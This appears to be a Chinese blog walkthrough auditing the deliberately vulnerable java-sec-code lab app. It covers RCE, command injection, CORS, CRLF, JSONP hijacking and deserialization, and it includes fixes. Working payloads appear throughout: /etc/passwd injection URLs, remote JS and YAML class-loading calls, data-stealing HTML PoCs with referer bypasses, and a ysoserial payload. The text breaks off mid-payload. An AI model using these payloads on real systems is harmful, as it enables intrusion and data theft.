0x00 前言 最近在搞Java类的代码审计,看到这个项目记录一下自己的学习过程
0x01环境配置
Mac os 11.2.2 tomcat 8.5 idea msyql 8.0.70
导入idea项目配置本地tomcat
git clone https://github.com/JoyChou93/java-sec-code cd java-sec-code mvn clean package
打开浏览器访问127.0.0.1:8080
image-20210827091208429
输入密码admin/admin123进行登陆
0x02 漏洞分析 1. Rce Java命令执行的几种方式 1)Runtime 类执行系统命令 核心代码:
Process p = Runtime.getRuntime().exec("calc");
详细代码:
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; public class Runtime1 { public static void main(String[] args) { try { Process p = Runtime.getRuntime().exec("whoami"); InputStream input = p.getInputStream(); InputStreamReader ins = new InputStreamReader(input, "utf-8"); //InputStreamReader 字节流到字符流,并指定编码格式 BufferedReader br = new BufferedReader(ins); //BufferedReader 从字符流读取文件并缓存字符 String line; line = br.readLine(); System.out.println(line); br.close(); ins.close(); input.close(); } catch (IOException e) { e.printStackTrace(); } } }
通过Runtime类exec方法执行命令获取输入流getInputStream(),再InputStreamReader过渡到字符流,并指定gbk的编码格式。BufferedReader 再从字符输入流中读取文本并缓冲字符。再通过readLine()方法打印出结果。
访问http://localhost:8080/java_sec_code_war/rce/exec?cmd=whoami
image-20210827105713739
查看Rce代码如下
public class Rce { @GetMapping("/exec") public String CommandExec(String cmd) { Runtime run = Runtime.getRuntime(); StringBuilder sb = new StringBuilder(); try { Process p = run.exec(cmd); BufferedInputStream in = new BufferedInputStream(p.getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String tmpStr; while ((tmpStr = inBr.readLine()) != null) { sb.append(tmpStr); } if (p.waitFor() != 0) { if (p.exitValue() == 1) return "Command exec failed!!"; } inBr.close(); in.close(); } catch (Exception e) { return e.toString(); } return sb.toString(); } }
Idea调试情况如下
image-20210827111228112
2)ProcessBuilder 类命令执行 ProcessBuilder类通过创建系统进程执行命令。
核心代码
ProcessBuilder builder = new ProcessBuilder("whoami"); Process process = builder.start();
详细代码:
import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; public class ProcessBuilder1 { public static void main(String[] args) { try { String[] cmds = new String[]{"/bin/bash","-c","whoami"}; ProcessBuilder builder = new ProcessBuilder(cmds); Process process = builder.start(); InputStream in = process.getInputStream(); //获取输入流 InputStreamReader ins = new InputStreamReader(in, "utf-8"); // 字节流转化为字符流,并指定编码格式 char[] chs = new char[1024]; int len = ins.read(chs); System.out.println(new String(chs,0,len)); ins.close(); in.close(); } catch (IOException e) { e.printStackTrace(); } } }
通过ProcessBuilder类执行系统命令获取结果。注意将命令隔开,同样转化为字符流InputStreamReader,并指定编码格式。read方法读取该字符流。将结果转化为字符串进行输出。
打开http://localhost:8080/java_sec_code_war/rce/ProcessBuilder?cmd=whoami
image-20210827143330503
Java-sec-code如下:
/** * http://localhost:8080/rce/ProcessBuilder?cmd=whoami * @param cmd cmd */ @GetMapping("/ProcessBuilder") public String processBuilder(String cmd) { StringBuilder sb = new StringBuilder(); try { String[] arrCmd = {"/bin/sh", "-c", cmd}; ProcessBuilder processBuilder = new ProcessBuilder(arrCmd); Process p = processBuilder.start(); BufferedInputStream in = new BufferedInputStream(p.getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String tmpStr; while ((tmpStr = inBr.readLine()) != null) { sb.append(tmpStr); } } catch (Exception e) { return e.toString(); } return sb.toString(); }
Idea调试如下
image-20210827143456512
3) 反射调用Processlmpl 类执行系统命令 Runtime和ProcessBuilder执行命令实际上调用了也是ProcessImpl类。对于该类,没有构造方法,只有一个private类型的方法。可以通过反射调用。
核心代码:
Class clazz = Class.forName("java.lang.ProcessImpl"); Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class); method.setAccessible(true); Process e = (Process) method.invoke(null, new String[]{"calc"}, null, ".", null, true);
详细代码:
import java.io.ByteArrayOutputStream; import java.lang.ProcessBuilder.Redirect; import java.lang.reflect.Method; import java.util.Map; @SuppressWarnings("unchecked") public class ProcessImpl1{ public static void main(String[] args) throws Exception { String[] cmds = new String[]{"whoami"}; Class clazz = Class.forName("java.lang.ProcessImpl"); Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class); method.setAccessible(true); Process e = (Process) method.invoke(null, cmds, null, ".", null, true); byte[] bs = new byte[2048]; int readSize = 0; ByteArrayOutputStream infoStream = new ByteArrayOutputStream(); while ((readSize = e.getInputStream().read(bs)) > 0) { infoStream.write(bs, 0, readSize); } System.out.println(infoStream.toString()); } }
从ProcessImpl类的class对象中获取到方法然后反射调用,获取字节输入流getInputStream的结果。ByteArrayOutputStream 创建字节数组缓冲区。read() 方法读取字节流大小,并写进缓冲区。最后将缓冲区结果转化为字符串,并指定utf-8编码格式输出。
4) 反射调用Runtime类执行系统命令 核心代码:
Class clazz = Class.forName("java.lang.Runtime"); Constructor constructor = clazz.getDeclaredConstructor(); constructor.setAccessible(true); Object runtimeInstance = constructor.newInstance(); Method runtimeMethod = clazz.getMethod("exec", String.class); Process process = (Process) runtimeMethod.invoke(runtimeInstance, "calc");
java.lang.Runtime
类的无参构造方法私有的,可以通过反射修改方法的访问权限setAccessible,强制可以访问,然后获取类构造器的方法。再通过类加载newInstance()创建对象,反射再调用方法。
详细代码:
import java.io.ByteArrayOutputStream; import java.lang.ProcessBuilder.Redirect; import java.lang.reflect.Method; import java.util.Map; @SuppressWarnings("unchecked") public class ProcessImpl1{ public static void main(String[] args) throws Exception { String[] cmds = new String[]{"whoami"}; Class clazz = Class.forName("java.lang.ProcessImpl"); Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class); method.setAccessible(true); Process e = (Process) method.invoke(null, cmds, null, ".", null, true); byte[] bs = new byte[2048]; int readSize = 0; ByteArrayOutputStream infoStream = new ByteArrayOutputStream(); while ((readSize = e.getInputStream().read(bs)) > 0) { infoStream.write(bs, 0, readSize); } System.out.println(infoStream.toString()); } }
5) JavaScript命令执行 javax.script.ScriptEngine类是java自带的用于解析并执行js代码,可以在javascript中执行java代码.
核心代码:
String str = "Jscode"; ScriptEngineManager manager = new ScriptEngineManager(null); ScriptEngine engine = manager.getEngineByName("js"); engine.eval(str);
详细代码:
import javax.script.ScriptEngine; import javax.script.ScriptEngineManager; import javax.script.ScriptException; public class Jsexec { public static void main(String[] argv) throws ScriptException { String str = "function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec(\"open -a Calculator\");"; ScriptEngineManager manager = new ScriptEngineManager(null); ScriptEngine engine = manager.getEngineByName("js"); engine.eval(str); } }
如上。可以成功弹出计算器,如果遇到关键字检测。还可以用注释和空格绕过。
image-20210827145640867
查看Java-sec-code代码
/** * http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js * * curl http://xx.yy/zz.js * var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");} * * @param jsurl js url */ @GetMapping("/jscmd") public void jsEngine(String jsurl) throws Exception{ // js nashorn javascript ecmascript ScriptEngine engine = new ScriptEngineManager().getEngineByName("js"); Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE); String cmd = String.format("load(\"%s\")", jsurl); engine.eval(cmd, bindings); }
用Python本地起一个服务器,写入JS进行触发
image-20210827152848993
6)Yaml反序列化命令执行 SnakeYaml
是用来解析yaml的格式,可以用于Java对象的序列化、反序列化。
核心代码:
@GetMapping("/vuln/yarm") public void yarm(String agrs) { String content = "!!javax.script.ScriptEngineManager [\n" + " !!java.net.URLClassLoader [[\n" + " !!java.net.URL [\"http://o5s7wr.dnslog.cn\"]\n" + " ]]\n" + "]"; Yaml y = new Yaml(); y.load(content); }
进行测试
image-20210827175118150
使用师傅写好的利用脚本进行利用利用 https://github.com/artsploit/yaml-payload
打开并修改代码:
package artsploit; import javax.script.ScriptEngine; import javax.script.ScriptEngineFactory; import java.io.IOException; import java.util.List; public class AwesomeScriptEngineFactory implements ScriptEngineFactory { public AwesomeScriptEngineFactory() { try { Runtime.getRuntime().exec("open -a Calculator"); } catch (IOException e) { e.printStackTrace(); } } @Override public String getEngineName() { return null; } @Override public String getEngineVersion() { return null; } @Override public List<String> getExtensions() { return null; } @Override public List<String> getMimeTypes() { return null; } @Override public List<String> getNames() { return null; } @Override public String getLanguageName() { return null; } @Override public String getLanguageVersion() { return null; } @Override public Object getParameter(String key) { return null; } @Override public String getMethodCallSyntax(String obj, String m, String... args) { return null; } @Override public String getOutputStatement(String toDisplay) { return null; } @Override public String getProgram(String... statements) { return null; } @Override public ScriptEngine getScriptEngine() { return null; } }
整个脚本也都比较简单,就是实现了ScriptEngineFactory接口,然后调用Runtime.getRuntime().exec执行命令。
JavaSPI机制详解
使用Python搭建简单的WEB服务后进行利用
image-20210827180832145
7)Groovy 命令执行 Groovy是一种基于JVM(Java虚拟机)的敏捷开发语言,它结合了Python、Ruby和Smalltalk的许多强大的特性,Groovy 代码能够与 Java 代码很好地结合,也能用于扩展现有代码。由于其运行在 JVM 上的特性,Groovy 可以使用其他 Java 语言编写的库。
可以使用GroovyShell类来执行任何Groovy脚本
代码如下:
/** * http://localhost:8080/rce/groovy?content="open -a Calculator".execute() * @param content groovy shell */ @GetMapping("/groovy") public void groovyshell(String content) { GroovyShell groovyShell = new GroovyShell(); groovyShell.evaluate(content); }
进行利用如下:
image-20210827183410408
2. CommandInject 命令行直接对请求参数进行拼接,可利用特殊字符分割执行其他命令
1.参数注入 代码如下:
/** * http://localhost:8080/codeinject?filepath=/tmp;cat /etc/passwd * * @param filepath filepath * @return result */ @GetMapping("/codeinject") public String codeInject(String filepath) throws IOException { String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath}; ProcessBuilder builder = new ProcessBuilder(cmdList); builder.redirectErrorStream(true); Process process = builder.start(); return WebUtils.convertStreamToString(process.getInputStream()); }
访问http://localhost:8080/java_sec_code_war/codeinject?filepath=/tmp;cat%20/etc/passwd
image-20210831100839084
2.Host注入 在HTTP请求的host中命令执行
代码如下:
/** * Host Injection * Host: hacked by joychou;cat /etc/passwd * http://localhost:8080/codeinject/host */ @GetMapping("/codeinject/host") public String codeInjectHost(HttpServletRequest request) throws IOException { String host = request.getHeader("host"); logger.info(host); String[] cmdList = new String[]{"sh", "-c", "curl " + host}; ProcessBuilder builder = new ProcessBuilder(cmdList); builder.redirectErrorStream(true); Process process = builder.start(); return WebUtils.convertStreamToString(process.getInputStream()); }
dnslog进行测试
image-20210831103040958
image-20210831103104271
进行命令注入时失败:
image-20210831111452797
查找半天原因之后发现
是tomcat的版本问题,tomcat7.9以上的版本,都不支持请求链接上带有特殊字符.否则会报400错误, 这是因为Tomcat严格按照 RFC 3986规范进行访问解析,而 RFC3986规范定义了Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符(RFC3986中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ])。
建议大家下一个低版本进行测试~
image-20210831120816642
修复代码
@GetMapping("/codeinject/sec") public String codeInjectSec(String filepath) throws IOException { String filterFilePath = SecurityUtil.cmdFilter(filepath); if (null == filterFilePath) { return "Bad boy. I got u."; } String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath}; ProcessBuilder builder = new ProcessBuilder(cmdList); builder.redirectErrorStream(true); Process process = builder.start(); return WebUtils.convertStreamToString(process.getInputStream()); }
增加了一个SecurityUtil.cmdFilter()进行过滤,command+点击cmdFilter进入cmdFilter函数查看
public static String cmdFilter(String input) { if (!FILTER_PATTERN.matcher(input).matches()) { return null; } return input; }
继续跟进FILTER_PATTERN函数
private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
image-20210831142136765
3. Broken Access Control 某些应用获取用户身份信息可能会直接从cookie中直接获取明文的nick,导致越权问题。具体写法可能有Cookies代码 里的几种情况。
代码有如下几种情况:
/** * 某些应用获取用户身份信息可能会直接从cookie中直接获取明文的nick或者id,导致越权问题。 */ @RestController @RequestMapping("/cookie") public class Cookies { private static String NICK = "nick"; @GetMapping(value = "/vuln01") public String vuln01(HttpServletRequest req) { String nick = WebUtils.getCookieValueByName(req, NICK); // key code return "Cookie nick: " + nick; } @GetMapping(value = "/vuln02") public String vuln02(HttpServletRequest req) { String nick = null; Cookie[] cookie = req.getCookies(); if (cookie != null) { nick = getCookie(req, NICK).getValue(); // key code } return "Cookie nick: " + nick; } @GetMapping(value = "/vuln03") public String vuln03(HttpServletRequest req) { String nick = null; Cookie cookies[] = req.getCookies(); if (cookies != null) { for (Cookie cookie : cookies) { // key code. Equals can also be equalsIgnoreCase. if (NICK.equals(cookie.getName())) { nick = cookie.getValue(); } } } return "Cookie nick: " + nick; } @GetMapping(value = "/vuln04") public String vuln04(HttpServletRequest req) { String nick = null; Cookie cookies[] = req.getCookies(); if (cookies != null) { for (Cookie cookie : cookies) { if (cookie.getName().equalsIgnoreCase(NICK)) { // key code nick = cookie.getValue(); } } } return "Cookie nick: " + nick; } @GetMapping(value = "/vuln05") public String vuln05(@CookieValue("nick") String nick) { return "Cookie nick: " + nick; } @GetMapping(value = "/vuln06") public String vuln06(@CookieValue(value = "nick") String nick) { return "Cookie nick: " + nick; } }
打开http://172.20.10.6:8080/java_sec_code_war/cookie/vuln01其中一个进行复现
image-20210901161038686
4. Cors 跨域请求伪造,由于限制不严导致可以跨域请求敏感信息,一般结合XSS,CSRF等等漏洞进行攻击。
前端发起AJAX请求都会受到同源策略(CORS)的限制。发起AJAX请求的方法:
XMLHttpRequest JQuery的$.ajax
Fetch 前端在发起AJAX请求时,同域或者直接访问的情况下,因为没有跨域的需求,所以Request的Header中的Origin为空。此时,如果后端代码是response.setHeader("Access-Control-Allow-Origin", origin)
,那么Response的header中不会出现Access-Control-Allow-Origin
,因为Origin为空。
image-20210901162616408
在这样配置可以去访问任何服务资源
Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
可以用curl来验证
curl -i $'GET' \ -H $'Origin: http://www.baidu.com' \ -b $'remember-me=YWRtaW46MTYzMTY5MTA4NTA2OTpkZWYwZTFiYjc2MmZhYzFiMzdjMDc2MzNiYjcxOGJkOQ; JSESSIONID=2F6ED87C606984C0547455D72FE2B9EE; XSRF-TOKEN=1536dc0b-8b8b-4955-b669-c5b9f9b4bd6d' \ $'http://172.20.10.6:8080/java_sec_code_war/cors/vuln/origin'
Java-sec-code需要cookie来利用无cooike的poc如下
GET:
<!DOCTYPE html> <html> <head> <title>CORS TEST</title> </head> <body> <div id='output'></div> <script type="text/javascript"> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','http://vuln.com/xxxx',true); //req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;"); req.withCredentials = true; req.send(); function reqListener() { var output = document.getElementById('output'); output.innerHTML = "URL: http://vuln.com/xxxx<br><br>Response:<br><textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>"; }; </script> </body> </html>
POST:
<!DOCTYPE html> <html> <head> <title>CORS TEST</title> </head> <body> <div id='output'></div> <script type="text/javascript"> var req = new XMLHttpRequest(); var data = "userId%3Dadmin"; req.onload = reqListener; req.open('post','http://vuln.com/xxxx',true); req.setRequestHeader("Content-Type","xxx"); req.withCredentials = true; req.send(data); function reqListener() { var output = document.getElementById('output'); output.innerHTML = "URL: http://vuln.com/xxxx<br>Data: userId%3Dadmin<br><br>Response:<br><textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>"; }; </script> </body> </html>
核心代码如下:
private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; @GetMapping("/vuln/origin") public String vuls1(HttpServletRequest request, HttpServletResponse response) { String origin = request.getHeader("origin"); response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header response.setHeader("Access-Control-Allow-Credentials", "true"); // allow cookie return info; } @GetMapping("/vuln/setHeader") public String vuls2(HttpServletResponse response) { // 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常 response.setHeader("Access-Control-Allow-Origin", "*"); return info; }
设置HTTP头,然后直接返回信息
修复方式如下:
/** * 重写Cors的checkOrigin校验方法 * 支持自定义checkOrigin,让其额外支持一级域名 * 代码:org/joychou/security/CustomCorsProcessor */ @CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"}) @GetMapping("/sec/crossOrigin") public String secCrossOrigin() { return info; } /** * WebMvcConfigurer设置Cors * 支持自定义checkOrigin * 代码:org/joychou/config/CorsConfig.java */ @GetMapping("/sec/webMvcConfigurer") public CsrfToken getCsrfToken_01(CsrfToken token) { return token; } /** * spring security设置cors * 不支持自定义checkOrigin,因为spring security优先于setCorsProcessor执行 * 代码:org/joychou/security/WebSecurityConfig.java */ @GetMapping("/sec/httpCors") public CsrfToken getCsrfToken_02(CsrfToken token) { return token; } /** * 自定义filter设置cors * 支持自定义checkOrigin * 代码:org/joychou/filter/OriginFilter.java */ @GetMapping("/sec/originFilter") public CsrfToken getCsrfToken_03(CsrfToken token) { return token; } /** * CorsFilter设置cors。 * 不支持自定义checkOrigin,因为corsFilter优先于setCorsProcessor执行 * 代码:org/joychou/filter/BaseCorsFilter.java */ @RequestMapping("/sec/corsFilter") public CsrfToken getCsrfToken_04(CsrfToken token) { return token; } @GetMapping("/sec/checkOrigin") public String seccode(HttpServletRequest request, HttpServletResponse response) { String origin = request.getHeader("Origin"); // 如果origin不为空并且origin不在白名单内,认定为不安全。 // 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。 if (origin != null && SecurityUtil.checkURL(origin) == null) { return "Origin is not safe."; } response.setHeader("Access-Control-Allow-Origin", origin); response.setHeader("Access-Control-Allow-Credentials", "true"); return LoginUtils.getUserInfo2JsonStr(request); }
Cors和CSRF的区别
5.CRLFInjection RLF是”回车+换行”(\r\n)(编码后是%0D%0A)的简称,在HTTP中,HTTP Header和HTTP Body是用两个CRLF来分割的。浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。CRLF漏洞可以造成Cookie会话固定和反射型XSS(可过waf)的危害,注入XSS的利用方式:连续使用两次%0d%oa就会造成header和body之间的分离,就可以在其中插入xss代码形成反射型xss漏洞。
?url=http://baidu.com/xxx%0a%0dSet-Cookie: test123=123 // 恶意添加修改信息
关于实战,这里有几个案例,可以学习一波。
CRLF注入 Bottle HTTP 头注入漏洞探究 案例 但这个问题实际上已经在所有的现在的java EE应用服务器上修复了。如果你想关注这个漏洞,你应该在目标平台测试是否允许将CRLF插入到HTTP头中。不出意外的话,这个漏洞已经在大部分的目前的应用服务器上修复了,无论是用什么语言编写的。
核心代码如下:
@RequestMapping("/crlf") public class CRLFInjection { @RequestMapping("/safecode") @ResponseBody public void crlf(HttpServletRequest request, HttpServletResponse response) { response.addHeader("test1", request.getParameter("test1")); response.setHeader("test2", request.getParameter("test2")); String author = request.getParameter("test3"); Cookie cookie = new Cookie("test3", author); response.addCookie(cookie); } }
访问http://localhost:8080/java_sec_code_war/crlf/safecode
?test1=111%0d%0ax&test2=111%0d%0a111
image-20210909095847712
6.Jsonp JSONP是实现跨域的一种技术,应用于Web站点需要跨域获取数据的场景。当开发者使用不当时,攻击者可以恶意利用jsonp劫持数据。
举例说明如下:
在 jQuery 中,可以通过使用JSONP 形式的回调函数来加载其他网域的JSON数据,如 "myurl?callback=?"。jQuery 将自动替换 ? 为正确的函数名,以执行回调函数。 jQuery 会把?注册成window.? 的系统函数,然后映射调用。 一般用于跨域ajax请求,提供URL的一方会返回一个callback函数的JSON数据,然后回调时就能获取了。 请求的URL例子: "myurl?callback=123123123" //这个123123就是?号,jquery自动生成的。 返回的数据例子: 123123123({“id”:"1","name":"张三"})
核心代码如下:
@ControllerAdvice public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice { public JSONPAdvice() { super("callback", "cback"); // callback的参数名,可以为多个 } }
当有接口返回了Object(比如JSONObject或者JavaBean,但是不支持String),只要在参数中加入callback=test
或cback=test
就会自动变成JSONP接口。比如下面代码:
@RequestMapping(value = "/advice", produces = MediaType.APPLICATION_JSON_VALUE) public JSONObject advice() { String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; return JSON.parseObject(info); }
虽然上面代码指定了response的content-type
为application/json
,但是在AbstractJsonpResponseBodyAdvice
类中会设置为application/javascript
,提供给前端调用。
设置content-type
为application/javascript
的代码:
protected MediaType getContentType(MediaType contentType, ServerHttpRequest request, ServerHttpResponse response) { return new MediaType("application", "javascript"); }
并且还会判断callback的参数只是否是有效的,代码如下:
private static final Pattern CALLBACK_PARAM_PATTERN = Pattern.compile("[0-9A-Za-z_\\.]*"); protected boolean isValidJsonpQueryParam(String value) { return CALLBACK_PARAM_PATTERN.matcher(value).matches(); }
安全问题: 使用AbstractJsonpResponseBodyAdvice
能避免callback导致的XSS问题,但是会带来一个新的风险:可能有的JSON接口强行被设置为了JSONP,导致JSON劫持。所以使用AbstractJsonpResponseBodyAdvice
,需要默认校验所有jsonp接口的referer是否合法。
PS:
在Spring Framework 5.1,移除了AbstractJsonpResponseBodyAdvice
类。Springboot 2.1.0 RELEASE
默认使用spring framework版本5.1.2版本。也就是在SpringBoot 2.1.0 RELEASE
及以后版本都不能使用该功能,用CORS替代。
https://docs.spring.io/spring/docs/5.0.x/javadoc-api/org/springframework/web/servlet/mvc/method/annotation/AbstractJsonpResponseBodyAdvice.html
Will be removed as of Spring Framework 5.1, use CORS instead.
1.前端调用代码的 使用ajax的jsonp调用方式,运行后会弹框JoyChou
。 使用script src方式,运行后会弹框JoyChou
。 使用ajax的jsonp调用方式代码:
<html> <head> <meta charset="UTF-8" /> <script src="https://cdn.bootcss.com/jquery/3.4.1/jquery.min.js"></script> </head> <body> <script language="JavaScript"> $(document).ready(function() { $.ajax({ url:'http://localhost:8080/jsonp/advice', dataType:'jsonp', success:function(data){ alert(data.name) } }); }); </script> </body> </html>
script src方式代码:
<html> <script> function aaa(data){ alert(JSON.stringify(data)); } </script> <script src=http://172.20.10.6:8080/java_sec_code_war/jsonp/vuln/referer?callback_=aaa></script> </html>
script src方法 测试如下:
image-20210909105509839
2.空Referer绕过 有时候开发同学为了测试方便,JSONP接口能直接访问,不直接访问做了Referer限制。正常来讲,前端发起的请求默认都会带着Referer,所以简单说下如何绕过空Referer。
核心代码:
@RequestMapping(value = "/vuln/emptyReferer", produces = "application/javascript") public String emptyReferer(HttpServletRequest request) { String referer = request.getHeader("referer"); if (null != referer && SecurityUtil.checkURL(referer) == null) { return "error"; } String callback = request.getParameter(this.callback); return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); }
增加了对referer的检测我们可以使用如下方法进行绕过
1.添加no-referrer 参数
<html> <meta name="referrer" content="no-referrer" /> //no-referrer <script> function test(data){ alert(JSON.stringify(data)); } </script> <script src=http://172.20.10.6:8080/java_sec_code_war/jsonp/vuln/emptyReferer?callback_=test></script> </html>
2.使用iframe标签进行绕过
<html> <meta name="referrer" content="no-referrer" /> <iframe src="javascript:'<script>function test(data){alert(JSON.stringify(data));}</script><script src=http://172.20.10.6:8080/java_sec_code_war/jsonp/vuln/emptyReferer?callback_=test></script>'"> </iframe> </html>
测试如下:
image-20210909111157468
修复代码:
@RequestMapping(value = "/sec/checkReferer", produces = "application/javascript") public String safecode(HttpServletRequest request) { String referer = request.getHeader("referer"); if (SecurityUtil.checkURL(referer) == null) { return "error"; } String callback = request.getParameter(this.callback); return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request)); }
不管referer是否为null都进行判断
3.fastjsonp to jsonp 核心代码如下
@GetMapping(value = "/fastjsonp/getToken", produces = "application/javascript") public String getCsrfToken2(HttpServletRequest request) { CsrfToken csrfToken = cookieCsrfTokenRepository.loadToken(request); // get csrf token String callback = request.getParameter("fastjsonpCallback"); if (StringUtils.isNotBlank(callback)) { JSONPObject jsonpObj = new JSONPObject(callback); jsonpObj.addParameter(csrfToken); return jsonpObj.toString(); } else { return csrfToken.toString(); } }
测试如下:
image-20210909143444477
7.Deserialize 序列化与反序列化 Java程序使用ObjectInputStream对象的readObject方法将反序列化数据转换为java对象。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。
核心代码:
/** * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 * Add the result to rememberMe cookie. * <p> * http://localhost:8080/deserialize/rememberMe/vuln */ @RequestMapping("/rememberMe/vuln") public String rememberMeVul(HttpServletRequest request) throws IOException, ClassNotFoundException { Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE); if (null == cookie) { return "No rememberMe cookie. Right?"; } String rememberMe = cookie.getValue(); byte[] decoded = Base64.getDecoder().decode(rememberMe); ByteArrayInputStream bytes = new ByteArrayInputStream(decoded); ObjectInputStream in = new ObjectInputStream(bytes); in.readObject(); in.close(); return "Are u ok?"; }
代码相对来说也比较简单使用Java程序中类ObjectInputStream的readObject方法被用来将数据流反序列化为对象,如果流中的对象是class,则它的ObjectStreamClass描述符会被读取,并返回相应的class对象,ObjectStreamClass包含了类的名称及serialVersionUID。
利用方式如下:
使用ysoserial.jar生成payload
╰─$ java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQA